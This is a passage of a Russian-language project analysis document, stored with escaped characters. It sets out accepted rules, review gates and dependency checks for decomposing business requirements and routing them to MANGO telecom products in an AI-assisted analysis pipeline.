\u043c\u043e\u0436\u0435\u0442\\n**\u043d\u0430\u0434\u0451\u0436\u043d\u043e \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c** \u0435\u0433\u043e \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438. \u041c\u0430\u0448\u0438\u043d\u043d\u044b\u0439 \u0433\u0435\u0439\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0444\u043e\u0440\u043c\u0443, \u0441\u0441\u044b\u043b\u043a\u0438 \u0438\\n\u043f\u043e\u043b\u043d\u043e\u0442\u0443 \u0441\u043b\u043e\u0442\u043e\u0432, \u0430 \u043d\u0435 \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u0430\u0431\u0441\u0442\u0440\u0430\u043a\u0446\u0438\u0438, \u0440\u0435\u043b\u0435\u0432\u0430\u043d\u0442\u043d\u043e\u0441\u0442\u044c \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0439 \u0438\u043b\u0438\\n\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e\u0441\u0442\u044c \u043f\u043e\u043a\u0440\u044b\u0442\u0438\u044f. \u0411\u043e\u043b\u0435\u0435 \u0442\u043e\u0433\u043e, \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0439 \u043d\u0430\u0432\u044b\u043a \u0434\u0435\u043a\u043e\u043c\u043f\u043e\u0437\u0438\u0446\u0438\u0438 \u0442\u0440\u0435\u0431\u0443\u0435\u0442\\n\u0430\u0442\u043e\u043c\u0430\u0440\u043d\u043e\u0441\u0442\u0438 \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u0424\u0422 \u0438 \u0442\u0435\u043c \u0441\u0430\u043c\u044b\u043c \u043f\u043e\u043e\u0449\u0440\u044f\u0435\u0442 \u043f\u0435\u0440\u0435\u043d\u043e\u0441 \u043f\u0440\u0430\u0432\u0438\u043b UI \u0438 \u043d\u0430\u0441\u0442\u0440\u043e\u0435\u043a \u0432\\n\u0440\u0430\u0437\u0434\u0435\u043b \u0424\u0422. \u042d\u0442\u043e \u043d\u0435 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435 \u044f\u0437\u044b\u043a\u043e\u0432\u043e\u0439 \u043c\u043e\u0434\u0435\u043b\u0438; \u044d\u0442\u043e \u0434\u0435\u0444\u0435\u043a\u0442 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u043e\u0433\u043e\\n\u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430 \u0438 \u0435\u0433\u043e \u0433\u0435\u0439\u0442\u043e\u0432.\\n\\n\u0412\u043b\u0430\u0434\u0435\u043b\u0435\u0446 \u043f\u0440\u0438\u043d\u044f\u043b \u0442\u0440\u0438 \u0444\u043e\u0440\u043c\u044b \u043a\u0430\u043a \u0446\u0435\u043b\u0435\u0432\u044b\u0435 \u043a\u0430\u043d\u0434\u0438\u0434\u0430\u0442\u044b \u0432 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u043d\u043e\u043c \u043a\\n[issue #609](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/609)\\n\u0434\u0438\u0430\u043b\u043e\u0433\u0435. `accepted` \u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442 \u043f\u0440\u0438\u0451\u043c\u043a\u0443 \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0438 \u0446\u0435\u043b\u0435\u0432\u043e\u0439 \u0444\u043e\u0440\u043c\u044b, \u043d\u043e \u043d\u0435 \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435\\n\u043a\u0435\u0439\u0441\u043e\u0432 \u0432 runtime Golden Set: \u0434\u043b\u044f \u043d\u0435\u0433\u043e \u0442\u0440\u0435\u0431\u0443\u044e\u0442\u0441\u044f \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u044b\u0435 \u0432\u0445\u043e\u0434\u044b, \u0440\u0435\u0433\u0440\u0435\u0441\u0441\u0438\u043e\u043d\u043d\u044b\u0435\\nassertions \u0438 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0439 human gate. \u041e\u0446\u0435\u043d\u043a\u0430 \u0442\u0435\u043a\u0443\u0449\u0435\u0433\u043e runtime \u043d\u0438\u0436\u0435 \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0441\u044f \u043a\\n\u0441\u043d\u0438\u043c\u043a\u0443 \u0434\u043e [PR #604](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/pull/604);\\n\u0430\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u0430\u044f \u0434\u0435\u043b\u044c\u0442\u0430 \u043f\u0440\u0438\u0432\u0435\u0434\u0435\u043d\u0430 \u0432\\n[\u0441\u043a\u0432\u043e\u0437\u043d\u043e\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0435](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-24-architecture-convergence-and-readiness.md).\\n\\n## \u0414\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u0430\u044f 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\u042d\u0442\u0438 \u043f\u0440\u043e\u0431\u0435\u043b\u044b \u043d\u0435 \u0431\u043b\u043e\u043a\u0438\u0440\u0443\u044e\u0442\\nSource-\u0441\u0445\u0435\u043c\u0443 \u0441 \u044f\u0432\u043d\u044b\u043c\u0438 `unresolved` \u0438 `not-applicable` \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u044f\u043c\u0438 \u0438 \u043d\u0435 \u0434\u0430\u044e\u0442\\n\u043f\u0440\u0430\u0432\u0430 \u043f\u043e\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0442\u044c \u043f\u043e\u0445\u043e\u0436\u0438\u0435 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u044f \u043a\u0430\u043a \u0442\u043e\u0447\u043d\u044b\u0435 ID.\\n\\n## \u0413\u0440\u0430\u043d\u0438\u0446\u0430 \u0438 \u043c\u0435\u0442\u043e\u0434\\n\\n\u041f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u044b [issue #609](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/609)\\n\u0438 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u043d\u044b\u0439 \u043a \u043d\u0435\u043c\u0443 \u0434\u0438\u0430\u043b\u043e\u0433, [PR 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\u0442\u043e\u043b\u044c\u043a\u043e\\n\u043a\u0430\u043a \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442 \u0438 \u043d\u0435 \u043a\u043e\u043f\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0432 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0439.\\n\\n\u0410\u043b\u044c\u0442\u0435\u0440\u043d\u0430\u0442\u0438\u0432\u044b \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u044b \u043d\u0430 \u0433\u0440\u0430\u043d\u0438\u0446\u0435: \u043f\u0440\u043e\u0441\u0442\u043e\u0439 `n0` \u0441 \u0432\u044b\u0431\u043e\u0440\u043e\u043c BA \u0443\u0436\u0435 \u0435\u0441\u0442\u044c, \u043d\u043e \u043d\u0435\\n\u0432\u044b\u0447\u0438\u0441\u043b\u044f\u0435\u0442 \u043f\u0435\u0440\u0432\u0438\u0447\u043d\u0443\u044e \u043e\u0441\u044c \u0438\u0437 \u0442\u0438\u043f\u0430 \u0440\u0430\u0431\u043e\u0442\u044b; 80-\u043f\u0440\u043e\u0446\u0435\u043d\u0442\u043d\u043e\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u043e \u0431\u0435\u0437 \u0448\u0430\u0431\u043b\u043e\u043d\u043d\u043e\u0433\u043e\\n\u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0430 \u043d\u0435 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u044b\u043c; \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u044b\u0439 SID Overview \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442\\n\u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0435 \u0434\u043e\u043c\u0435\u043d\u044b, \u043d\u043e \u043d\u0435 \u0437\u0430\u043c\u0435\u043d\u044f\u0435\u0442 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440 capability. \u041f\u043e\u044d\u0442\u043e\u043c\u0443\\n\u0432\u044b\u0431\u0440\u0430\u043d\u044b \u044f\u0432\u043d\u044b\u0439 \u043a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440 \u043d\u0430\u043c\u0435\u0440\u0435\u043d\u0438\u044f, \u0434\u0432\u0430 \u0442\u0438\u043f\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 industry binding \u0438\\n\u043e\u0442\u043b\u043e\u0436\u0435\u043d\u043d\u044b\u0439 \u0438\u0437\u043c\u0435\u0440\u0438\u043c\u044b\u0439 \u043f\u043e\u0440\u043e\u0433.\\n\\n## \u0421\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0443\u0442\u043e\u0447\u043d\u0435\u043d\u0438\u044f \u0438 \u0434\u043e\u043c \u0444\u0438\u043a\u0441\u0430\u0446\u0438\u0438\\n\\n| \u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a | \u0418\u0442\u043e\u0433\u043e\u0432\u043e\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u043e | \u0414\u043e\u043c \u0438 \u0433\u0440\u0430\u043d\u0438\u0446\u0430 |\\n| --- | --- | --- |\\n| #602: 14 \u0441\u043b\u043e\u0442\u043e\u0432, \u0441\u0435\u043c\u044c \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432, L1\u2013L4, \u0442\u0440\u0438 Golden Form | 14 \u0441\u043b\u043e\u0442\u043e\u0432 \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0435\u0439 \u0441\u0435\u043c\u0430\u043d\u0442\u0438\u043a\u043e\u0439; L1 FR \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442 \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u0435\u043c\u0443\u044e \u0441\u043f\u043e\u0441\u043e\u0431\u043d\u043e\u0441\u0442\u044c, L2\u2013L4 \u0440\u0430\u0441\u043a\u0440\u044b\u0432\u0430\u044e\u0442 \u0435\u0451. \u0422\u0440\u0438 \u0444\u043e\u0440\u043c\u044b \u043f\u0440\u0438\u043d\u044f\u0442\u044b \u043a\u0430\u043a \u0446\u0435\u043b\u0435\u0432\u044b\u0435 \u043a\u0430\u043d\u0434\u0438\u0434\u0430\u0442\u044b. | [RFC \u0430\u0431\u0441\u0442\u0440\u0430\u043a\u0446\u0438\u0438](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/rfc/2026-09-bcreq-abstraction-and-product-routing.md) \u0438 [\u0430\u043d\u0430\u043b\u0438\u0437 \u0444\u043e\u0440\u043c](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-23-bcreq-golden-forms-and-feasibility.md); \u043f\u0435\u0440\u0435\u043d\u043e\u0441 \u0432 runtime Golden Set \u043f\u043e\u0441\u043b\u0435 \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u043e\u0433\u043e \u0442\u0435\u0441\u0442\u0430 \u0438 human gate. |\\n| #602: Product routing | \u0422\u0438\u043f \u0440\u0430\u0431\u043e\u0442\u044b \u0437\u0430\u0434\u0430\u0451\u0442 \u043f\u0435\u0440\u0432\u0438\u0447\u043d\u0443\u044e \u043e\u0441\u044c: MANGO-\u0434\u043e\u0440\u0430\u0431\u043e\u0442\u043a\u0430/KB \u2014 MANGO; \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043f\u0440\u0430\u043a\u0442\u0438\u043a \u0438 \u0432\u043d\u0435\u0448\u043d\u0435\u0433\u043e \u0422\u0417 \u2014 \u043e\u0442\u0440\u0430\u0441\u043b\u044c, \u0437\u0430\u0442\u0435\u043c MANGO. \u0412\u0441\u0435 unmatched \u0438 uncertain \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u044e\u0442\u0441\u044f. | [RFC \u0430\u0431\u0441\u0442\u0440\u0430\u043a\u0446\u0438\u0438 \u00a75](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/rfc/2026-09-bcreq-abstraction-and-product-routing.md); `P-08` \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u043e\u0446\u0435\u043d\u043a\u043e\u0439 \u0422\u0417, \u0430 \u043d\u0435 \u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435\u043c BCREQ \u043f\u043e [\u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u0438 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/process-taxonomy/20-taxonomy.md). |\\n| #602: \u041f\u043e\u0440\u043e\u0433 80% | \u0414\u043e versioned \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0430 \u0438 \u043f\u0440\u0430\u0432\u0438\u043b \u043f\u043e\u0434\u0441\u0447\u0451\u0442\u0430 \u043d\u0435 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u043c \u0443\u0441\u043b\u043e\u0432\u0438\u0435\u043c. \u041f\u0440\u0438 \u043d\u0430\u043b\u0438\u0447\u0438\u0438 \u0431\u0430\u0437\u044b \u043c\u043e\u0436\u0435\u0442 \u0432\u044b\u0431\u0438\u0440\u0430\u0442\u044c \u043f\u043e\u0440\u044f\u0434\u043e\u043a \u043f\u043e\u0438\u0441\u043a\u0430, \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u044f \u043f\u043e\u043b\u043d\u044b\u0439 \u043e\u0442\u0447\u0451\u0442 \u043e \u043f\u043e\u043a\u0440\u044b\u0442\u0438\u0438. | [RFC \u0430\u0431\u0441\u0442\u0440\u0430\u043a\u0446\u0438\u0438 \u00a75](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/rfc/2026-09-bcreq-abstraction-and-product-routing.md); \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u044e\u0449\u0438\u0439 \u0432\u0445\u043e\u0434 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u0443\u043a\u0430\u0437\u0430\u043d \u043d\u0438\u0436\u0435. |\\n| #602 \u0438 #604: `G-human` \u0438 `n0` | \u0410\u0433\u0435\u043d\u0442 \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u0435\u0442 mapping \u0441 \u043f\u0440\u0430\u0432\u0438\u043b\u043e\u043c, evidence, \u0430\u043b\u044c\u0442\u0435\u0440\u043d\u0430\u0442\u0438\u0432\u0430\u043c\u0438, \u0440\u0438\u0441\u043a\u043e\u043c \u0438 \u043c\u043e\u0442\u0438\u0432\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0439 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0435\u0439; BA \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0435\u0442/\u043e\u0442\u043a\u043b\u043e\u043d\u044f\u0435\u0442 mapping \u0441 \u043f\u0440\u0438\u0447\u0438\u043d\u043e\u0439, \u043d\u0435 \u043f\u0440\u0438\u0434\u0443\u043c\u044b\u0432\u0430\u0435\u0442 \u043c\u0435\u0442\u043e\u0434 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430. `n0` \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u0440\u0430\u043d\u043d\u0438\u043c \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u043c \u0433\u0435\u0439\u0442\u043e\u043c \u0434\u043b\u044f BCREQ. | [RFC \u0430\u0431\u0441\u0442\u0440\u0430\u043a\u0446\u0438\u0438 \u00a75](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/rfc/2026-09-bcreq-abstraction-and-product-routing.md); \u0442\u0435\u043a\u0443\u0449\u0438\u0439 [route](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/routes/rg-bcreq-v1.yaml) \u043f\u043e\u043a\u0430 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0435\u0442 \u043b\u0438\u0448\u044c MANGO-\u0446\u0435\u043f\u043e\u0447\u043a\u0443. |\\n| #602: Content profiles | \u041f\u0440\u043e\u0444\u0438\u043b\u0438 API, \u041b\u041a, \u043a\u043e\u043c\u043c\u0443\u043d\u0438\u043a\u0430\u0446\u0438\u0439 \u043a\u043e\u043d\u0442\u0430\u043a\u0442-\u0446\u0435\u043d\u0442\u0440\u0430, \u043a\u043b\u0438\u0435\u043d\u0442\u0430 \u043a\u043e\u043c\u043c\u0443\u043d\u0438\u043a\u0430\u0446\u0438\u0439 \u0441\u043e\u0442\u0440\u0443\u0434\u043d\u0438\u043a\u0430 \u0438 AI/\u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0430\u0446\u0438\u0438 \u0441\u043e\u0447\u0435\u0442\u0430\u044e\u0442\u0441\u044f. \u0420\u043e\u0431\u043e\u0442\u044b \u0438 \u0440\u0435\u0447\u0435\u0432\u0430\u044f \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u043e\u0434\u0438\u043d AI-\u043f\u0440\u043e\u0444\u0438\u043b\u044c \u0441 \u0440\u0430\u0437\u043d\u044b\u043c\u0438 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u043c\u0438 bindings. \u0412\u0438\u0434\u0435\u043e \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0444\u0438\u043b\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u043e \u0444\u0430\u043a\u0442\u0443 \u043d\u0430\u043b\u0438\u0447\u0438\u044f capability. | [RFC \u0430\u0431\u0441\u0442\u0440\u0430\u043a\u0446\u0438\u0438 \u00a76](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/rfc/2026-09-bcreq-abstraction-and-product-routing.md); \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0435 \u0444\u0430\u043a\u0442\u044b \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u044b [\u0441\u043d\u0438\u043c\u043a\u043e\u043c MANGO](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/product-taxonomy/mango-products.yaml). |\\n| #606: Pre-decomposition \u0438 \u0442\u0440\u0438 \u0433\u0435\u0439\u0442\u0430 | Evidence, goal/task/boundary, as-is\u2192delta, product binding \u0438 claim register \u0441\u043e\u0437\u0434\u0430\u044e\u0442\u0441\u044f \u0432 Working \u0434\u043e FR/UC/NFR. `G-mach` \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443, `G-semantic` \u2014 \u0441\u043c\u044b\u0441\u043b \u0441 rationale, `G-human` \u2014 \u0441\u043f\u043e\u0440\u043d\u044b\u0439 \u0432\u044b\u0431\u043e\u0440 \u0438 \u043f\u0440\u0438\u0451\u043c\u043a\u0443. | [\u0424\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0430](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-23-requirements-run-forensics.md) \u0438 \u043e\u0431\u0430 RFC; \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0439 runtime contract \u0435\u0449\u0451 \u043d\u0435 \u0441\u043e\u0431\u0440\u0430\u043d. |\\n| #606: TM Forum + SID | \u0422\u043e\u0447\u043d\u044b\u0435 ID TM Forum \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f `unresolved` \u0431\u0435\u0437 snapshot; SID \u2014 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e \u0442\u0438\u043f\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442 \u0438 \u043a\u0430\u043d\u0434\u0438\u0434\u0430\u0442 \u0434\u043b\u044f \u044d\u0441\u043a\u0430\u043b\u0430\u0446\u0438\u0438, \u0430 \u043d\u0435 \u0437\u0430\u043c\u0435\u043d\u0430 capability/eTOM ID. \u0412\u043b\u0430\u0434\u0435\u043b\u0435\u0446 \u0441\u0447\u0451\u043b \u0442\u0435\u043a\u0443\u0449\u0443\u044e \u0432\u044b\u0431\u043e\u0440\u043a\u0443 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e\u0439; 23 \u043d\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0445 \u0447\u0430\u0442\u0430 \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u0433\u0440\u0430\u043d\u0438\u0446\u0435\u0439 evidence. | [RFC \u0430\u0431\u0441\u0442\u0440\u0430\u043a\u0446\u0438\u0438 \u00a710](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/rfc/2026-09-bcreq-abstraction-and-product-routing.md) \u0438 [\u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0430](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-23-requirements-run-forensics.md). \u041e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u0435 \u043e \u0440\u043e\u043b\u0438 SID \u2014 [TM Forum Information Framework](https://www.tmforum.org/open-digital-architecture/information-framework-sid/). |\\n| #608: \u043f\u044f\u0442\u044c \u0440\u0435\u0448\u0435\u043d\u0438\u0439 \u043a\u043e\u043d\u0432\u0435\u0439\u0435\u0440\u0430 | Working \u2014 \u0435\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u0440\u0435\u0434\u0430\u043a\u0442\u0438\u0440\u0443\u0435\u043c\u044b\u0439 baseline; Release \u2014 \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u0430\u044f \u043f\u0440\u043e\u0435\u043a\u0446\u0438\u044f; 2.3 \u00ab\u0413\u0440\u0430\u043d\u0438\u0446\u044b \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f\u00bb; NFR\u2192FR \u0438 compatibility closure; pre/post gates; \u0440\u0430\u0437\u0434\u0435\u043b 4 \u00ab\u0424\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u044b\u0439 \u0434\u0438\u0437\u0430\u0439\u043d \u0440\u0435\u0448\u0435\u043d\u0438\u044f\u00bb. | [RFC Working \u2192 Release](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/rfc/2026-09-bcreq-working-release-pipeline.md), \u0441\u0442\u0430\u0442\u0443\u0441 `accepted`. |\\n\\n## \u0421\u043a\u0432\u043e\u0437\u043d\u0430\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0435\u0439\\n\\n| \u041a\u043e\u043d\u0442\u0443\u0440 | \u041f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0439 \u0444\u0430\u043a\u0442 | \u0418\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0438 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u044c |\\n| --- | --- | --- |\\n| Scope \u0438 \u043f\u0440\u043e\u0434\u0443\u043a\u0442 | [README \u043f\u0440\u043e\u0435\u043a\u0442\u0430](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/README.md) \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u0435\u0442 `mango-only` \u043a\u0430\u043a \u0432\u0435\u0441\u044c \u043f\u043e\u0440\u0442\u0444\u0435\u043b\u044c; [MANGO](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/product-taxonomy/mango-products.yaml) \u0438 [telecom](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/product-taxonomy/telecom-products.yaml) \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442 42 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0438\u044f. \u041f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0439 \u043a\u0430\u0442\u0430\u043b\u043e\u0433 \u0445\u0440\u0430\u043d\u0438\u0442 prose, \u043d\u0435 \u0442\u043e\u0447\u043d\u044b\u0435 TM Forum IDs. | \u0421\u043e\u0445\u0440\u0430\u043d\u0438\u0442\u044c provenance \u043f\u0440\u0438 \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u0438; \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u0442\u0438\u043f\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 ID \u0442\u043e\u043b\u044c\u043a\u043e \u0438\u0437 \u0440\u0430\u0437\u0440\u0435\u0448\u0451\u043d\u043d\u043e\u0433\u043e snapshot. |\\n| Process \u2192 route | [\u0422\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u044f \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/process-taxonomy/20-taxonomy.md) \u0432\u044b\u0434\u0435\u043b\u044f\u0435\u0442 `P-08` \u0434\u043b\u044f \u043e\u0446\u0435\u043d\u043a\u0438 \u0447\u0443\u0436\u043e\u0433\u043e \u0422\u0417. [Route](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/routes/rg-bcreq-v1.yaml) \u0438\u043c\u0435\u0435\u0442 `n0` \u0438 MANGO binding, \u043d\u043e \u0442\u043e\u043b\u044c\u043a\u043e \u0432\u0435\u0440\u0442\u0438\u043a\u0430\u043b\u044c\u043d\u044b\u0439 BCREQ-\u0441\u0440\u0435\u0437. | \u0412 Source \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0438\u0442\u044c \u043a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440 \u043d\u0430\u043c\u0435\u0440\u0435\u043d\u0438\u044f \u0438 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u044b; \u043d\u0435\u043b\u044c\u0437\u044f \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c P-08 \u043a\u0430\u043a \u0443\u0436\u0435 \u0441\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043f\u0443\u0442\u044c. |\\n| Evidence \u2192 FR/UC/NFR | [\u0424\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0430](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-23-requirements-run-forensics.md) \u0437\u0430\u0434\u0430\u0451\u0442 \u0438\u043d\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b; [Golden forms](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-23-bcreq-golden-forms-and-feasibility.md) \u0437\u0430\u0434\u0430\u044e\u0442 \u043f\u0440\u0438\u043c\u0435\u0440\u044b. \u0422\u0435\u043a\u0443\u0449\u0430\u044f [C-OUT schema](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/contracts/c-out-bcreq.schema.json) \u0435\u0449\u0451 \u043d\u0435 \u0437\u0430\u0434\u0430\u0451\u0442 \u043d\u043e\u0432\u044b\u0439 coverage contract. | \u0421\u043d\u0430\u0447\u0430\u043b\u0430 Working schema \u0438 negative fixtures, \u0437\u0430\u0442\u0435\u043c `G-mach`, semantic regressions \u0438 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0435 skills. |\\n| Working \u2192 Release | 